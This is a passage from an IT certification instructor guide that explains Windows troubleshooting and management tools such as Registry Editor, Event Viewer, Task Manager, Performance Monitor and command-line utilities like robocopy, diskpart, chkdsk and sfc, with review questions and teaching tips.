Registry Editor Registry Editor (regedit.exe) to view or edit the registry.

Teaching
Registry Keys
Tip The registry is structured as a set of five root keys that contain computer and user
Explain the difference databases. The HKEY_LOCAL_MACHINE (HKLM) database governs system-wide
between the computer settings. The HKEY_USERS database includes settings that apply to individual user
(HKLM) and user profiles, such as desktop personalization. HKEY_CURRENT_USER is a subset of
root keys and the
relationship between HKEY_USERS with the settings for logged in user.
HKU and HKCU. Note
that value entries can
have different data
types.
The "H" in "HKEY“
stands for "Handle to."

Registry root keys. Troubleshooting and editing activity is usually focused on either HKLM or HKCU.
(Screenshot courtesy of Microsoft.)

The registry database is stored in binary files called hives. A hive comprises a
single file (with no extension), a .LOG file (containing a transaction log), and a .SAV
file (a copy of the key as it was at the end of setup). The system hive also has an
.ALT backup file. Most of these files are stored in the C:\Windows\System32\Config
folder, but the hive file for each user profile (NTUSER.DAT) is stored in the folder
holding the user’s profile.

Editing the Registry

Each root key can contain subkeys and data items called value entries. You can use
the Find tool to search for a key or value.
Subkeys are analogous to folders, and the value entries are analogous to files.
A value entry has three parts: the name of the value, the data type of the value
(such as string or binary value), and the value itself.

Editing the registry. (Screenshot courtesy of Microsoft.)

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If you want to copy portions of the registry database and use them on other
computers, select File > Export Registry File. The file will be exported in a registry-
compatible format and can be merged into another computer’s registry by double-
clicking the file (or calling it from a script).

Custom Microsoft Management Consoles

A Microsoft Management Console (MMC) is a container for one or more snap- Show
ins. For example, Device Manager, Disk Management, Group Policy Editor, and Slide(s)
Certificate Manager are all snap-ins. The mmc command allows you to perform Custom Microsoft
MMC customization and create a console with a personal selection of snap-ins. Management Consoles
The console can be saved to the Administrative Tools folder as a file with an MSC
extension. Teaching
Tip
Explain the concept
of creating a custom
console with selected
snap-ins.

Adding a snap-in to a custom console. This custom console can be used to manage both personal
and computer certificates on the local host. (Screenshot courtesy of Microsoft.)

Most MMC snap-ins can be used to manage either the local computer or a remote
computer (a computer elsewhere on the network).

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Review Activity:
Management Consoles
3

Show Answer the following questions:

Slide(s)
Review
1. You are supporting a user who has installed a vendor keyboard driver.
Teaching The keyboard no longer functions correctly. Under Windows 10, what are
Tip the steps to revert to the previous driver?
Take some time at
the end of each topic Open Device Manager from the WinX menu, Instant Search, or the Computer
to answer questions. Management console. Expand Keyboards, then right-click the device and select
You can use the
Properties. On the Driver tab, select Roll Back Driver.
review questions
for discussion in
2. You are troubleshooting an issue with a wireless adapter. When you
class or set them for
students to complete open Device Manager, you find the device’s icon is shown with a
individually during or down arrow superimposed. What does this mean, and why might this
after class. configuration have been imposed?

The icon indicates that the device has been disabled. It could be that there was a
fault, or there may be a network configuration or security reason for disabling the
adapter. In this sort of situation, use incident logs and device documentation to
establish the reason behind the configuration change.

3. If a single physical disk is divided into three partitions, how many

different file systems can be supported?

Three—each partition can use a different file system.

4. True or false? The dfrgui.exe utility should be disabled if Windows is

installed to an SSD.

False. While solid state drives (SSDs) and hard disk drives (HDDs) have different
mechanical and performance characteristics, it is still necessary to run the
Defragment and Optimize Drives (dfrgui.exe) periodically to optimize performance.

5. In Windows, what is the difference between the boot partition and the
system partition?

The system partition contains the boot files; the boot partition contains the system
root (OS files). The boot partition is normally assigned the drive letter C. The system
partition is not normally assigned a drive letter.

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Topic 11B
Use Performance and
Troubleshooting Tools
6

CORE 2 EXAM OBJECTIVES COVERED Show

1.3 Given a scenario, use features and tools of the Microsoft Windows 10 operating Slide(s)
system (OS).
Use Performance and
Troubleshooting Tools

Diagnosing the cause of errors and performance issues can be a difficult and Teaching
frustrating task, but it can be made easier by knowing how to gather relevant Tip
information. If you can learn to use the system audit and monitoring/logging tools, This topic covers
you will be much better prepared to resolve slow performance problems. the main graphical
tools that technicians
use to monitor
System Information and troubleshoot
Windows.
The System Information (msinfo32.exe) tool produces a comprehensive report
about the system’s hardware and software components. Running the tool produces Show
an inventory of system resources, firmware and OS versions, driver file locations, Slide(s)
environment variables, network status, and so on. System Information

Teaching
Tip
Explain that this is
used as a repository
of key support
information.

System Information report. (Screenshot courtesy of Microsoft.)

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Event Viewer
Show When Windows detects a problem, it will usually generate an error message. This
Slide(s) makes troubleshooting simpler as you may only need to find out what the error
Event Viewer message means using the Microsoft Knowledge Base (support.microsoft.com) or
third-party support sites and forums.
Teaching
The Event Viewer (eventvwr.msc) is a management console snap-in for viewing
Tip
and managing logs on a Windows host. The default page shows a summary of
Explain how logs and system status, with recent error and warning events collected for viewing. The left-
events are organized
in terms of destination
hand pane groups log files into different categories.
files, event sources, With a log file selected, the three-part middle pane lets you see the details of the
event types, and so
selected event without having to open a separate dialog. The third pane contains
on. You might want to
note that PowerShell useful tools for opening log files, filtering, creating a task from an event, and so on.
is probably a better
tool for searching and
filtering events.

Reviewing the System log in Windows 10 Event Viewer management console.

(Screenshot courtesy of Microsoft.)

Default Log Files

The Windows Logs folder contains the four main log files:
• The System log contains information about events that affect the core OS. These
include service load failures, hardware conflicts, driver load failures, network
issues, and so on.

• The Application log contains information regarding non-core processes and

utilities and some third-party apps. For example, app installers write events to
the Application log.

• The Security log holds the audit data for the system.

• The Setup log records events generated during installation.

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Each log file has a default maximum size (usually about 20 MB), but you can change
this by selecting Properties on the appropriate log. This option also allows the
overwrite option to be set either as overwrite, do not overwrite, or archive (close
the current file and start a new one).

Be careful about preserving logs. Many computers have ample free disk space, but
archive logs can grow very large if left unmonitored.

There are many other logs stored under the Applications and Services Logs node.
You would investigate these when troubleshooting a particular Windows feature,
service, or third-party application.

Event Sources and Severity Levels

Each event is generated by a source application and allocated an ID and a severity
level. The different event levels are as follows:
• Critical—An issue that should be treated as the highest priority in the context of
the source application. Critical is often used to report a process that has halted
or stopped responding.

• Error—A less severe issue that should be investigated once critical issues have
been resolved.

• Warning—A state that could potentially lead to an error or critical condition if

not remediated, such as the system running low on disk space.

• Information—Logs an operation or state that is noteworthy but does not

require remediation.

• Audit Success/Failure—Events in the security log are classified as either

successful, such as a user authenticating, or failed, such as a password not being
entered correctly.

More information for each event can be displayed by double-clicking the event in
question. This displays a screen that contains a full description of the event.

Task Manager Process Monitoring

The Task Manager (taskmgr.exe) tool can be used to monitor the PC’s key Show
resources. You can open it by pressing CTRL+SHIFT+ESC, by right-clicking the Slide(s)
taskbar or Start, or by pressing CTRL+ALT+DEL and selecting Task Manager. Task Manager Process
Monitoring
Task Manager may start in a summary mode; select the Show details button to
expand it. Teaching
On the Processes tab, you can expand each app or background process to view its Tip
sub-processes and view more clearly what resources each is taking up. Without going into
the details of every
shortcut menu,
summarize how Task
Manager can be used
to monitor resource
utilization and to
manage processes
and users.

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Windows 10 Task Manager—Processes tab. (Screenshot courtesy of Microsoft.)

The shortcut menu for a process allows you to end a task. There is also an option
to search for information about the process online. Another option is to view more
information about a process via the Details tab. For example, some background
services run within the context of a process wrapper. You can identify services
associated with each process via the shortcut menu on the Details tab.
In some circumstances, you may want to privilege one task over another or,
conversely, set one task to have fewer resources than others. You can do this by
right-clicking the process and choosing an option from the Set Priority submenu.
For example, if you had a Voice over IP application and its priority was not already
set to Above normal, changing its priority might improve call quality as the CPU
would privilege that process over ones set to any other level.

Task Manager Performance Monitoring

Show The Performance tab provides more information about the CPU, memory, disk,
Slide(s) network, and graphics processing unit (GPU) subsystems, while the App History tab
Task Manager shows usage information for Windows Store apps.
Performance
Monitoring

Teaching
Tip
There’s lots of
complex detail to
unpack for each
system component. If
you have time, explain
some of the report
parameters.

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Performance tab in Task Manager showing CPU utilization. (Screenshot courtesy of Microsoft.)

CPU and GPU Monitoring

The CPU page shows the number of cores and logical processors (HyperThreading),
whether the system is multisocket, and whether virtualization is enabled. The
statistics show overall utilization, system uptime, and a count of the number of
processes, threads, and handles. Higher numbers indicate more activity. Each
process can run operations in multiple threads and can open handles to files,
registry keys, network pipes, and so on.
High peak values for utilization are nothing to worry about, but sustained periods
of high utilization means that you should consider adding more resources to the
system (or run fewer processes!).
The GPU page is shown if the system has a dedicated graphics adapter. It reports
the amount of graphics memory available and utilization statistics.

Memory Monitoring
The Memory page reports which slots have modules installed and the speed. The
usage statistics are broken down as follows:
• In use refers to system (RAM) usage only.

• Committed reports the amount of memory requested and the total of system
plus paged memory available. Paged memory refers to data that is written to a
disk pagefile.

• Cached refers to fetching frequently used files into memory pre-emptively to

speed up access.

• Paged pool and non-paged pool refer to OS kernel and driver usage of
memory. Paged usage is processes that can be moved to the pagefile, while
non-paged is processes that cannot be paged.

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High physical memory utilization up to the amount of system RAM isn’t necessarily
a sign of poor performance as it’s good to make full use of the resource. High
pagefile utilization is more problematic.

Disk Monitoring
The Disk pages report the type and capacity plus statistics for active time, response
time, and read/write speeds.

Note that utilization is measured across all disk devices. For example, 50% utilization
could mean one disk working at 100% and the other seeing no activity.

High disk utilization and slow response times are a common cause of poor overall
system performance issues. This could be a result of slow HDD technology,
excessive paging activity, file/cache corruption, or a faulty device with bad
sectors/blocks.

Network Monitoring
The Ethernet or Wi-Fi tab reports send and receive throughput for the active
network adapter plus the IP address and hardware (MAC) interface address. If a
wireless adapter is active, the SSID, connection type (802.11 standard), and signal
strength are also shown.

Task Manager User Monitoring

Show The Users tab lets you see the people who are logged on (and allows you to send
Slide(s) them a message or sign them out), the information about the processes they are
Task Manager User running, and the resource utilization associated with their account.
Monitoring

Using Task Manager to manage users. (Screenshot courtesy of Microsoft.)

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Startup Processes and Services Console

The Startup tab lets you disable programs added to the Startup folder (type Show
shell:startup at the Run dialog to access this) or set to run using the registry. Slide(s)
Right-click the headers, and select Startup type to show how the program is Startup Processes and
launched. It also shows how much impact each item has on boot times. Services Console
The Services tab monitors the state of all registered background processes. A
service is a Windows process that does not require any sort of user interaction and Teaching
therefore runs in the background (without a window). Services provide functionality Tip
for many parts of the Windows OS, such as allowing logon, browsing the network, Explain the concept
or indexing file details to optimize searches. Services may be installed by Windows of background
processes/services
and by other applications, such as antivirus, database, or backup software. and how to
troubleshoot startup
delay.

Monitoring service status using Task Manager. (Screenshot courtesy of Microsoft.)

From Task Manager, the Open Services button links to the Services (services.msc)
console. You can use this to disable nonessential services to improve performance
or security. You can prevent a service from running at startup by setting it to
Manual or prevent it from running completely by setting it to Disabled. Note that
this may cause problems if other services depend upon it.
If something is not working properly, you should check that any services
it depends upon are started. Restarting a service can be an effective first
troubleshooting step.

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Resource Monitor and Performance Monitor

Show Task Manager can be used to assess key system statistics quickly, but there are
Slide(s) other tools for more detailed performance monitoring.
Resource Monitor and
Performance Monitor Resource Monitor
Resource Monitor (resmon.exe) shows an enhanced version of the sort of
Teaching
snapshot monitoring provided by Task Manager. You can see graphs of resource
Tip
performance along with key statistics, such as threads started by a process or hard
Distinguish between page faults/second. Continually rising numbers of either of these can indicate a
the use of Resource
Monitor for live
problem.
monitoring and
Performance Monitor
for measuring and
comparing counters
over time and for
collecting traces.

Viewing system memory utilization in Resource Monitor. (Screenshot courtesy of Microsoft.)

Performance Monitor
Windows Performance Monitor (perfmon.msc) can be used to provide real-time
charts of system resources or can be used to log information to a file for long-term
analysis.
By monitoring different resources at different times of the day, you can detect
bottlenecks in a system that are causing problems. It may be that a particular
application starts freezing for longer and longer periods. This could be caused
by a number of things. Perhaps the processor is too slow, which would cause the
requests to take longer; perhaps the hard disk is too slow, which would mean that
it takes too long for the computer to open and save files; perhaps the application
uses a network link that has become faulty or congested.
The performance of the computer could be increased by upgrading any or all of
these components, but Performance Monitor will help you decide which is critical.

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In Performance Monitor, you can create log files, referred to as Data Collector Sets,
to record information for viewing later. You can generate a library of performance
measurements taken at different times of the day, week, or even year. This
information can provide a system baseline and then be used to give a longer-term
view of system performance.
There are two types of logs: counter and trace:
• Counter logs allow you to collect statistics about resources, such as memory,
disk, and processor. These can be used to determine system health and
performance.

• Trace logs can collect statistics about services, providing you with detailed
reports about resource behavior. In essence, trace logs provide extensions to the
Event Viewer, logging data that would otherwise be inaccessible.

Saved log files can be loaded into Performance Monitor from the Reports folder for
analysis or exported to other programs.

Performance Counters
To configure a counter log, you need to select what to monitor in the report. In Show
Performance Monitor, resources such as memory and disk are collected into Slide(s)
objects. Objects have counters that represent different performance statistics, Performance Counters
and there can be multiple instances of the same type of object. For example,
disk performance can be measured using the Physical Disk Object, and a useful Teaching
counter is the Average Queue Length. If there are two disks, three instances of this Tip
object can be viewed: disk 0, disk 1, and disks Total. This section might be
going a bit beyond the
syllabus objectives,
but technicians
should have a basic
appreciation of which
counters to select to
measure different
aspects of system
performance.

Using Performance Monitor to record three counters from the PhysicalDisk and Memory objects.
(Screenshot courtesy of Microsoft.)

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Some of the most used counters are listed here:

Object Counter Description

Processor % Processor Time The percentage of time that the
processor is executing a non-idle
thread. In general terms, this should
be low. If it is greater than 85% for a
sustained period, you may have a
processor bottleneck.
% Privileged Time If overall processor time is very high
(over 85% for sustained periods), it can
% User Time be helpful to compare these. Privileged
time represents system processes,
whereas user time is software
applications. If privileged time is
much higher, it is likely that the CPU is
underpowered (it can barely run
Windows core processes efficiently).
Physical Disk % Disk Time The percentage of elapsed time that the
selected disk drive is busy servicing read
or write requests. This is a good overall
indicator of how busy the disk is. Again, if
the average exceeds 85% for a sustained
period, you may have a disk problem.
Average Disk The number of requests outstanding
Queue Length on the disk at the time the performance
data is collected. Taken with the
preceding counter, this gives a better
indicator of disk problems. For
example, if the disk queue length is
increasing and disk time is high, then
you have a disk problem.
Memory Available Bytes The amount of memory available—this
should not be below about 10% of total
system RAM. If available bytes fall
continuously, there could be a memory
leak (that is, a process that allocates
memory but does not release it again).
Pages/sec The number of pages read from or
written to disk to resolve hard page
faults. This means your system is using
the paging file. Nothing wrong as long
as this is not excessive (averaging above
about 50). You probably also want to
check the paging file’s usage by viewing
the paging object itself.
Paging File % Usage The amount of the pagefile instance
in use in percent. If your paging file is
currently 1000 MB on the disk and this
figure averages 50%, then it means you
might benefit from adding memory
(about 500 MB, in fact). Don’t forget that
if your system pages excessively, then
disk performance will suffer—paging is
disk intensive.

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Notice that it is not always immediately apparent which component is causing a

problem. Many counters are interrelated and must be viewed with other counters
in mind. For instance, if your system memory is low, then the disk will likely be slow
because of excessive paging.

System Configuration Utility

The System Configuration Utility (msconfig.exe) is used to modify various Show
settings and files that affect the way the computer boots and loads Windows. Slide(s)
System Configuration
The msconfig tool is frequently used to test various configurations for diagnostic Utility
purposes, rather than to permanently make configuration changes. Following diagnostic
testing, permanent changes would typically be made with more appropriate tools, such Teaching
as Services, to change the startup settings of various system services. Tip
Explain that this tool is
The General tab allows you to configure the startup mode, choosing between used to troubleshoot
Normal, Diagnostic, and a Selective startup, where each portion of the boot boot problems. For
sequence can be selected. example, you can
disable nonessential
drivers and services
to try to diagnose the
cause of a slow boot
issue.

System Configuration Utility—General tab. (Screenshot courtesy of Microsoft.)

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The Boot tab lets you configure basic settings in the Boot Configuration Data
(BCD) store. You can change the default OS, add boot options (such as Safe Mode
boot) with minimal drivers and services, and set the timeout value—the duration for
which the boot options menu is displayed. To add boot paths, you have to use the
bcdedit command.

System Configuration Utility—Boot tab. (Screenshot courtesy of Microsoft.)

If you are troubleshooting a system that keeps using safe boot or boots to a command
prompt, check that one of the previous options has not been made permanent in
System Configuration.

You can also log boot events. This boot log file is saved to %SystemRoot%\
ntbtlog.txt. It is not shown in Event Viewer.

The Services tab lets you choose specifically which services are configured
to run at startup. The date that a service was disabled is also shown, to make
troubleshooting easier. The Tools tab contains shortcuts to various administrative
utilities, including System Information, Registry Editor, Performance Monitor, and
so on.

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Review Activity:
Performance and
Troubleshooting Tools
7

Answer the following questions: Show

Slide(s)
Review

1. Identify how to open the tool shown in this exhibit. What single word
Teaching
command can you use to open the tool shown in the exhibit? How can
Tip
this tool assist with troubleshooting?
Take some time at
the end of each topic
to answer questions.
You can use the
review questions
for discussion in
class or set them for
students to complete
individually during or
after class.

(Screenshot courtesy of Microsoft.)

Run the System Information tool using the msinfo32 command. This tool produces
a comprehensive hardware and software inventory report. This configuration and
version information will be useful for many troubleshooting tasks.

2. You take a support call where the user doesn’t understand why a
program runs at startup when the Startup folder is empty. What is the
likely cause, and how could you verify this?

The program has added a registry entry to run at startup. You could check this (and
optionally disable the program) by using Task Manager.

3. You are monitoring CPU Usage and notice that it often jumps to 100%
and then falls back. Does this indicate a problem?

Probably not—CPU Usage usually peaks and falls. If it stays over 80–90%, the
system could require a faster CPU, or if it spikes continually, there could be a faulty
application.

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4. You have a computer with two SATA disks. You want to evaluate
the performance of the primary disk. How would you select this in
Performance Monitor, and what might be appropriate counters to use?

Select the Physical Disk object, select the counter, and then select the 0 C: instance.
Counters that are useful for evaluating performance include % Disk Time and
Average Disk Queue Length.

5. You are monitoring system performance and notice that a substantial

number of page faults are occurring. Does this indicate that a memory
module is faulty?

No—it shows the system is using the pagefile intensively and could benefit from
more system RAM being installed.

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Topic 11C
Use Command-line Tools Show
Slide(s)
Use Command-line
6

Tools
CORE 2 EXAM OBJECTIVES COVERED
1.2 Given a scenario, use the appropriate Microsoft command-line tool. Teaching
Tip
This topic introduces
the command prompt
As an administrator, you will manage the computer through a GUI for some tasks
and covers all the
and through a command-line interface for others. You should also know how to “local” commands.
perform file management at the command prompt as well as the GUI. Network commands
are covered later.

Command Prompt
You can run any command from the Run dialog. However, to input a series of Show
commands or to view output from commands, you need to use the command Slide(s)
shell. The cmd.exe shell processes the legacy command set that has been part of Command Prompt
Windows since its earliest versions.
Teaching
You can run the legacy commands at a modern Windows PowerShell prompt too. In Tip
Windows 11, the command interface is redesigned as the Windows Terminal.
Make sure students
understand the
concept of running
the prompt as
Administrative Command Prompt administrator. UAC
means that logging
You may need to run the command prompt with elevated privileges to execute a on as administrator is
command. If a command cannot be run with standard privileges, the error message not sufficient. Explain
how to distinguish a
“The requested operation requires elevation.” is displayed. regular prompt from
an administrative one.
We will cover
PowerShell in a little
more detail in the
topic on scripting.
Explain that the
cmd.exe commands
covered here can be
executed in either
environment.
Note that Windows 11
introduces a new
Trying to run a command that requires elevation. You must open a new command prompt window Windows Terminal
as administrator. (Screenshot courtesy of Microsoft.) where you can select
between PowerShell,
cmd, and the Azure
You cannot continue within the same window. You need to open a new command prompts.
command prompt as administrator. Right-click the command prompt shortcut,
select Run as administrator, and then confirm the user access control (UAC)
prompt. Alternatively, type cmd in the Instant Search box, and then press
CTRL+SHIFT+ENTER.

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When run as administrator, the title bar shows “Administrator: Command Prompt”,
and the default folder is C:\Windows\System32 rather than C:\Users\Username.

You can use this technique to open other utilities such as Explorer or Notepad with
administrative privileges.

Command Syntax
To run a command, type it at the prompt (>) using the command name and any
switches and arguments using the proper syntax. When you have typed the
command, press ENTER to execute it.
The syntax of a command lists which arguments you must use (plus ones that are
optional) and the effect of the different switches. Switches are usually preceded by
the forward slash escape character.

If an argument includes a space, it may need to be entered within quotes.

As you enter commands, the prompt fills up with text. If this is distracting, you can
use the cls command to clear the screen.
Some commands, such as nslookup or telnet, can operate in interactive
mode. This means that using the command starts that program, and from that
point, the prompt will only accept input relevant to the program. To exit the
program, you use the exit or quit command (or press CTRL+C). The exit
command will close the cmd window if not used within an interactive command.

Getting Help
The command prompt includes a rudimentary help system. If you type help at the
command prompt and then press ENTER, a list of available commands is displayed. If
you enter help Command, the help system lists the syntax and switches used for the
command. You can also display help on a particular command by using the /? switch.
For example, netstat /? displays help on the netstat command.

Navigation Commands
Show The string before > in the command prompt shows the working directory path.
Slide(s) Commands will operate on the contents of the working directory unless a different
Navigation Commands absolute or relative path is specified as an argument.

While Windows uses the backslash to delimit directories, if you type a path using
forward slashes in Explorer or at the command prompt, it will still be interpreted
correctly. The Linux file system uses forward slashes.

Listing Files and Directories

Use the dir command to list the files and subdirectories from either the working
drive and directory or from a specified path.
You can present files in a particular order using the /o: x switch, where x could
be n to list by name, s to list by size, e to list by extension, or d to list by date.
The date field can be set by the /t:x switch, where x is c for created on, a for
last access, or w for last modified.

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Another useful switch is /a:x, which displays files with the attribute indicated by x
(r for Read-only, h for hidden, s for system, and a for archive).

A wildcard character allows you to use unspecified characters with the command. A
question mark (?) means a single unspecified character. For example, the command
dir ????????.log will display all .log files with eight characters in the
file name.

Changing the Current Directory

The cd command is used to set the focus to a different working directory.
You can change to any directory by entering the full path, such as:
cd C:\Users\David
There are several shortcuts, however:
• If the current directory is C:\Users\David and you want to change to
C:\Users\David\Documents, enter: cd Documents

• If the current directory is C:\Users\David\Documents and you want to move up to

the parent directory, enter: cd ..

• If the current directory is C:\Users\David and you want to change to the root
directory of the drive, enter: cd \

• If the current directory is C:\Users and you want to change to C:\Windows, enter:
cd \Windows

Navigating directories with the cd command. (Screenshot courtesy of Microsoft.)

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Changing the Current Drive

The drive with focus is treated separately from the directory. To change the working
drive, just enter the drive letter followed by a colon and press ENTER. For example,
D: changes to the D drive. The prompt will change to D:\> indicating that the default
drive is now drive D.

File Management Commands

Show The move command and copy command provide the ability to transfer files
Slide(s) contained in a single directory. Both commands use a three-part syntax: command
File Management Source Destination where Source is the drive name, path, and name of
Commands the files to be moved/copied and Destination is the drive name and path of the new
location.
Teaching
Tip Copying Directory Structures
You are not presenting xcopy command is a utility that allows you to copy the contents of more than one
any of the switches
for the various copy
directory at a time and retain the directory structure. The syntax for xcopy is as
commands because follows: xcopy Source [Destination] [Switches]
there are a lot. Focus
You can use switches to include or exclude files and folders by their attributes.
instead on choosing
an appropriate Check the command help for additional switches and syntax.
command for a given robocopy command (or “robust copy”) is another file copy utility. Microsoft now
purpose. For example,
you might just use
recommends using robocopy rather than xcopy. robocopy is designed to work
copy to copy a single better with long file names and NTFS attributes. Check the command help for
file, but if you want additional switches and syntax.
to copy a complex
folder as part of a
script or backup Despite the name, you can also use robocopy to move files (/mov switch).
operation, then xcopy
or robocopy would be
a better choice.

Creating a Directory
To create a directory, use the md command. For example, to create a directory
called Data in the current directory, type md Data. To create a directory called
Docs in a directory called Data on the A drive, when the current path is C:\, type
md A:\Data\Docs

Folder and file names cannot contain the reserved characters: \ / : * ? " < > |

Removing a Directory
To delete an empty directory, enter rd Directory or rmdir Directory. If
the directory is not empty, you can remove files and subdirectories from it using
the /s switch. You can also use the /q switch to suppress confirmation messages
(quiet mode).

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Disk Management Commands

The Disk Management snap-in is easy to use, but there are some circumstances Show
where you may need to manage volumes at a command prompt. Slide(s)
Disk Management
The diskpart Command Commands

diskpart is the command interface underlying the Disk Management tool.

There are too many options in diskpart to cover here, but the basic process of
inspecting disks and partitions is as follows:
1. Run the diskpart utility, and then enter select disk 0 at the prompt
(or the number of the disk you want to check).

2. Enter detail disk to display configuration information for the disk. The
utility should report that the partitions (or volumes) are healthy. If diskpart
reports that the hard disk has no partitions, the partition table may have
become corrupted.

3. Enter either select partition 0 or select volume 0 at the

prompt (or the number of the partition or volume you want to check).

4. Enter either detail partition or detail volume to view

information about the object. You can now use commands such as assign
(change the drive letter), delete (destroy the volume), or extend.

5. Enter exit to quit diskpart.

The diskpart program showing a hard disk partition structure. (Screenshot courtesy of Microsoft.)

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The Disk Management tool prevents you from completing certain destructive actions,
such as deleting the system or boot volume. diskpart is not restricted in this way, so use
it with care.

The format Command

The format command writes a new file system to a drive. This process deletes any
data existing on the drive.
The basic command is format X: /fs:SYS, where X is a drive letter and SYS
is the file system, such as NTFS, FAT32, or EXFAT. By default, the command
performs a scan for bad sectors first. This scan can be suppressed by using
the /q switch. Use the online help for information about other switches.

Both standard and quick format operations remove references to existing files in the
volume boot record, but the actual sectors are not "scrubbed" or zeroed. Existing
files will be overwritten as new files are added to the volume, but in principle, data
can be recovered from a formatted disk (using third-party tools). A secure format
utility prevents this by overwriting each sector with a zero value, sometimes using
multiple passes.

The chkdsk Command

chkdsk scans the file system and/or disk sectors for faults and can attempt to
repair any problems detected. A version of Check Disk (autochk) will also run
automatically if the system detects file system errors at boot.
There are three ways to run the tool:
• chkdsk X: (where X is the drive letter but no switch is used) runs the tool in
read-only mode. The scan will report whether errors need to be repaired.

• chkdsk X: /f attempts to fix file system errors.

• chkdsk X: /r fixes file system errors and attempts recovery of bad sectors.
You are prompted to save any recoverable data, which is copied to the root
directory as filennnn.chk files.

Check Disk cannot fix open files, so you may be prompted to schedule the scan for
the next system restart.

chkdsk /f and chkdsk /r can take a long time to run. Canceling a scan is not
recommended. Run a read-only scan first.

System Management Commands

Show The shutdown command can be used to safely halt the system or log out:
Slide(s)
• Shutdown (shutdown /s)—Close all open programs and services before
System Management powering off the computer. The user should save changes in any open files first
Commands
but will be prompted to save any open files during shutdown. The shutdown /t
nn command can be used to specify delay in seconds before shutdown starts;
the default is 30 seconds. If a shutdown is in progress, shutdown /a aborts it
(if used quickly enough).

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• Hibernate (shutdown /h)—Save the current session to disk before powering

off the computer.

• Log off (shutdown /l)—Close all open programs and services started under
the user account, but leave the computer running.

• Restart (shutdown /r)—Close all open programs and services before

rebooting without powering down. This is also called a soft reset.

System File Checker

The Windows Resource Protection mechanism prevents damage to or malicious use
of system files and registry keys and files. The System File Checker utility (sfc)
provides a manual interface for verifying system files and restoring them from
cache if they are found to be corrupt or damaged.
The program can be used from an administrative command prompt in the
following modes:
• sfc /scannow runs a scan immediately.
• sfc /scanonce schedules a scan when the computer is next restarted.
• sfc /scanboot schedules a scan that runs each time the PC boots.

System File Checker utility. (Screenshot courtesy of Microsoft.)

System files (and shared program files) are maintained, and version-controlled in the
WINSxS system folder. This means that the product media is not called upon, but the
WINSxS folder can consume quite a lot of disk space.

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Reporting the Windows Version

The winver command reports version information. You will often need to use this
for support. Note that Windows version information requires some unpacking:
• Windows 10 or Windows 11 is a “brand” version. Its main purpose is to identify
the OS as a client version because Windows Server versions use the same
codebase.

• Version refers to a feature update via a year/month code representing the time
of release, such as 1607 (July 2016) or 21H1 (first half of 2021).

• OS Build is a two-part numeric value with the first part representing the
brand plus feature update and the second rev part representing quality
update status (patches). You can use the rev number to look up changes and
known issues associated with the update in the Microsoft Knowledge Base
(support.microsoft.com).

While winver has its place, the About settings page is more informative as it also lists the
edition and license information.

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Review Activity:
Command-line Tools
7

Answer the following questions: Show

Slide(s)
Review
1. You are attempting to run a command but receive the message “The
requested operation requires elevation.” What must you do to run the Teaching
command? Tip
Take some time at
Open a new command prompt window with sufficient privileges. You can right- the end of each topic
click the Command Prompt icon and select Run as administrator or press to answer questions.
CTRL+SHIFT+ENTER to execute the icon or cmd.exe command. You can use the
review questions
2. Which Windows command is probably best suited for scripting file for discussion in
class or set them for
backup operations? students to complete
individually during or
The robocopy command offers more options than those offered by the xcopy after class.
command, so it will usually be the better choice. The copy command is quite basic
and probably not suitable.

3. Is the command format d: /fs:exfat /q valid? If so, what is its effect, and
what precaution might you need to take before running it?

Yes, it is valid. It formats drive D with the exFAT file system by using a quick format
(does not scan for bad sectors). This will delete the file table on the drive so existing
data files can be overwritten—the formatted drive will appear to be empty in
Explorer. If there are existing files that need to be preserved, they should be backed
up before running the format command.

4. How do you perform a scan to identify file system errors in

read-only mode?

At a command prompt, run chkdsk without any switches. Note that sfc is not the
correct answer as this verifies the integrity of protected system files rather than
checks the file system on a drive.

5. Why might you run the shutdown command with the /t switch?

To specify a delay between running the command and shutdown starting. You
might do this to give users a chance to save work or to ensure that a computer is
restarted overnight.

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Lesson 11
Summary
6

Show You should be able to use management consoles and command-line utilities to
Slide(s) manage Windows users, devices, apps, and performance.
Summary
Guidelines for Managing Windows
Teaching Document standard procedures and work instructions to make best use of
Tip Windows management consoles and command-line utilities for different tasks:
Try to include some
time at the end • Use Device Manager, Disk Management, Disk Defragmenter, Disk Cleanup,
of each lesson to chkdsk, diskpart, and format to ensure hardware availability, reliability, and
check students' performance.
understanding and
answer questions. • Use Local Users and Groups and Certificate Manager to manage users, personal
digital certificates, and trusted root certificates.

• Use Group Policy Editor and Registry Editor for fine-grained settings
configuration.

• Use System Information, Event Viewer, and winver to audit software and
hardware inventory and monitor logs.

• Use Task Manager, Resource Monitor, Performance Monitor, System

Configuration, shutdown, and sfc to optimize process, service, and startup
performance.

• Use cd, dir, md, rmdir, x:, copy, xcopy, and robocopy to manage the file system
from the command prompt.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 12
Identifying OS Types and Features
1

LESSON INTRODUCTION
While the early lessons in this course have focused on Windows 10, there is a much Show
wider range of operating systems available. Even with Windows, there are various Slide(s)
editions to target different market sectors. There are also operating systems Objectives
designed to support specific hardware types, such as mobile devices. Being able to
compare and contrast OS types, versions, and editions will prepare you to support Teaching
users in a variety of different environments. Tip
With this lesson, we
start to broaden the
Lesson Objectives focus from Windows
to discuss OS support
In this lesson, you will: in more general terms.
• Explain OS types.

• Compare Windows editions.

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Topic 12A
Show
Slide(s)
Explain OS Types
Explain OS Types
2

Teaching CORE 2 EXAM OBJECTIVES COVERED

Tip 1.8 Explain common OS types and their purposes.
This topic should not
take too much time.
Hopefully, students
will at least know
As an IT professional, being familiar with the different types of operating systems
these operating can help you to support a variety of computer and mobile device environments. In
systems already. this topic, you will identify the types of PC and mobile device operating systems plus
Focus on operational features such as file system and life-cycle support.
considerations, such
as licensing, support,
and updates. Windows and macOS
Show The market for operating systems is divided into four mainstream types:
Slide(s) • Business client—An OS designed to work as a client in centrally managed
Windows and macOS business domain networks.
Teaching • Network Operating System (NOS)—An OS designed to run servers in business
Tip networks.
Contrast macOS’s
“walled garden” model • Home client—An OS designed to work as a standalone machine or in a
with the OEM model workgroup network in a home or small office.
used by Microsoft.
• Cell phone (smartphone)/Tablet—An OS designed to work with a handheld
portable device. This type of OS must have a touch-operated interface.

A business client PC is sometimes generically referred to as a workstation. Most

hardware vendors use workstation to mean a powerful PC, however, such as one used
for graphics design, video editing, or software development.

Microsoft Windows
Microsoft Windows covers all four of the market segments:
• Windows 10 and Windows 11 are released in different editions to support
business workstation and home PC use. They support a touch interface for use
on tablets and laptops (attempts to produce Windows smartphones have been
abandoned, however).

• Windows Server 2019 and Windows Server 2022 are optimized for use as
